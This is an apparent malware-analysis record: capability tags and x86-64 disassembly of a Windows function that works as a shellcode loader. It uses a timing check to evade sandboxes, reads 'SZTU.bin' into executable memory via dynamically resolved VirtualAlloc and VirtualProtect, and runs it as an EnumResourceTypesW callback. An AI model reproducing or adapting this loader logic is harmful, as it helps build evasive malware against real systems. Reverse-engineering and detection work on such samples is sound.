Function at 0x140001000
Capabilities:
Check for time delay via queryperformancecounter
Get file size
Read file on windows

Disassembly:
sub rsp, 0x88
mov rax, qword [0x140054008]
xor rax, rsp
mov qword [rsp + 0x58], rax
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x40]
movaps xmmword [rsp + 0x60], xmm7
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsd xmm7, qword [0x1400513b8]
xorps xmm6, xmm6
cvtsi2sd xmm6, qword [rsp + 0x40]
mulsd xmm6, xmm7
nop dword [rax]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x48]
xorps xmm1, xmm1
sub rax, qword [rsp + 0x50]
cvtsi2sd xmm1, rax
comisd xmm6, xmm1
ja 0x140001050
movaps xmm6, xmmword [rsp + 0x70]
xorps xmm0, xmm0
cvtsi2sd xmm0, qword [rsp + 0x40]
xor eax, eax
divsd xmm1, xmm0
comisd xmm7, xmm1
movaps xmm7, xmmword [rsp + 0x60]
setbe al
test eax, eax
je 0x1400012a4
mov qword [rsp + 0x30], 0
lea rcx, str.SZTU.bin
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov qword [rsp + 0x80], rbx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400010e6
mov rcx, rax
jmp 0x140001296
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [0x1400562ec], eax
test eax, eax
je 0x140001293
mov ecx, eax
call fcn.1400085f0
mov r8d, dword [0x1400562ec]
xor r9d, r9d
mov rdx, rax
mov qword [0x1400562f8], rax
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001293
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.EnumResourceTypesW
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualAlloc
mov rcx, rbx
mov qword [0x140056310], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualProtect
mov rcx, rbx
mov qword [0x140056308], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x140056310], 0
mov qword [0x140056300], rax
je 0x14000129c
mov r10, qword [0x140056308]
test r10, r10
je 0x14000129c
test rax, rax
je 0x14000129c
mov edx, dword [0x1400562ec]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call r10
mov qword [0x1400562f0], rax
mov rdx, rax
test rax, rax
je 0x14000129c
mov r10, qword [0x1400562f8]
mov ecx, dword [0x1400562ec]
cmp rax, r10
jae 0x140001213
test rcx, rcx
je 0x140001245
mov r8, r10
sub r8, rax
nop
movzx eax, byte [r8 + rdx]
mov byte [rdx], al
lea rdx, [rdx + 1]
sub rcx, 1
jne 0x140001200
jmp 0x140001245
lea r8, [rcx - 1]
lea r9, [rcx - 1]
add r8, r10
add r9, rax
test rcx, rcx
je 0x140001245
nop word [rax + rax]
movzx eax, byte [r8]
lea r8, [r8 - 1]
mov byte [r9], al
lea r9, [r9 - 1]
sub rcx, 1
jne 0x140001230
mov rcx, r10
call fcn.1400085c0
mov edx, dword [0x1400562ec]
lea r9, [0x1400562e8]
mov rcx, qword [0x1400562f0]
mov r8d, 0x10
call qword [0x140056300]
test eax, eax
je 0x14000129c
lea rcx, str.kdcpw.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [0x1400562f0]
xor r8d, r8d
mov rcx, rax
call qword [0x140056310]
jmp 0x14000129c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x80]
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400012d0
add rsp, 0x88
ret